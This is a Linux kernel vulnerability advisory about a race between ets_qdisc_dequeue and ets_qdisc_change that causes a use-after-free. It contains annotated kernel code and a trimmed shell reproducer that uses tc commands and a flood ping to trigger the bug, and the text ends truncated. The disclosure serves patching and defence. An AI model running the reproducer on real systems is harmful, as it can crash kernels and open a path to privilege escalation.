In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in etsqdiscchange zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between ets_qdisc_dequeue and ets_qdisc_change. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int etsqdiscchange(struct Qdisc *sch, struct nlattr *opt, struct netlinkextack *extack) { ... // (1) this lock is preventing .change handler (ets_qdisc_change) //to race with .dequeue handler (ets_qdisc_dequeue) schtreelock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) listdelinit(&q->classes[i].alist); qdiscpurgequeue(q->classes[i].qdisc); } WRITEONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active listaddtail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITEONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITEONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noopqdisc) qdischashadd(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler schtreeunlock(sch); etsoffloadchange(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdiscput(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITEONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnetstatsbasicsyncinit(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) ``` DEV="${DEV:-lo}" ROOTHANDLE="${ROOTHANDLE:-1:}" BAND2HANDLE="${BAND2HANDLE:-20:}" # child under 1:2 PINGBYTES="${PINGBYTES:-48}" PINGCOUNT="${PINGCOUNT:-200000}" PINGDST="${PINGDST:-127.0.0.1}" SLOWTBFRATE="${SLOWTBFRATE:-8bit}" SLOWTBFBURST="${SLOWTBFBURST:-100b}" SLOWTBFLAT="${SLOWTBFLAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2HANDLE" \ tbf rate "$SLOWTBFRATE" burst "$SLOWTBFBURST" latency "$SLOWTBFLAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PINGCOUNT" -s "$PINGBYTES" -W 0.001 "$PINGDST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---